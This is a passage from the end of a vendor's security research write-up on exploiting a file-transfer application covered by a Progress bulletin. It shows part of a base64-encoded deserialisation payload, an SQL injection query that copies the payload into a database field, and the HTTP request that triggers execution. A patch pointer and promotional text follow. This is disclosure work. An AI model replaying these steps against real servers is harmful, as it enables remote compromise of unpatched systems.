kdZV3h6WlNJZ1JtbHNaVTVoYldVOUltTnRaQ0lnTHo0TkNpQWdJQ0FnSUR3dmMyUTZVSEp2WTJWemN5NVRkR0Z5ZEVsdVptOCtEUW9nSUNBZ1BDOXpaRHBRY205alpYTnpQZzBLSUNBOEwwOWlhbVZqZEVSaGRHRlFjbTkyYVdSbGNpNVBZbXBsWTNSSmJuTjBZVzVqWlQ0TkNqd3ZUMkpxWldOMFJHRjBZVkJ5YjNacFpHVnlQZ3M9Cw==
--25233a574988c6ad054da8335aeb4c35--

Ran the following query via SQL injection. This copied our payload into the state field.

update fileuploadinfo set state=comment where fileid='966489702';

We then triggered the exploit with the final request.

PUT /api/v1/folders/964602477/files?uploadType=resumable&fileId=966489702 HTTP/1.1
Host: 192.168.37.144
Connection: close
Authorization: Bearer ...
Content-Range: bytes 0-1/10
Content-Length: 141
Content-Type: multipart/form-data; boundary=634979e9d149f16d3cefb6888b8c2a56

--634979e9d149f16d3cefb6888b8c2a56
Content-Disposition: form-data; name="file"; filename="file"

x
--634979e9d149f16d3cefb6888b8c2a56--

And lastly, we then checked to see if it worked and were delighted by what we saw.

 

Conclusion

We are still seeing companies hit by this vulnerability. And with the release of public proof-of-concepts this could increase. If you’re concerned you are affected, see Progress’ bulletin with version and patch information here.

We have shown several techniques here that we hope will aid you on your own security research projects. When it’s an option, attaching a debugger to step through the code has proven to be invaluable in trying to understand a complex application. Additionally, when faced with encrypted values as we were with our deserialisation payload, finding a way to get the application to do the encryption for you is a technique we have used here and in the past to great effect.

As always, customers of our Attack Surface Management platform were the first to know when this vulnerability affected them. We continue to perform original security research in an effort to inform our customers about zero-day vulnerabilities in their attack surface.

See Assetnote in action

Find out how Assetnote can help you lock down your external attack surface.

Use the lead form below, or alternatively contact us via email by clicking here.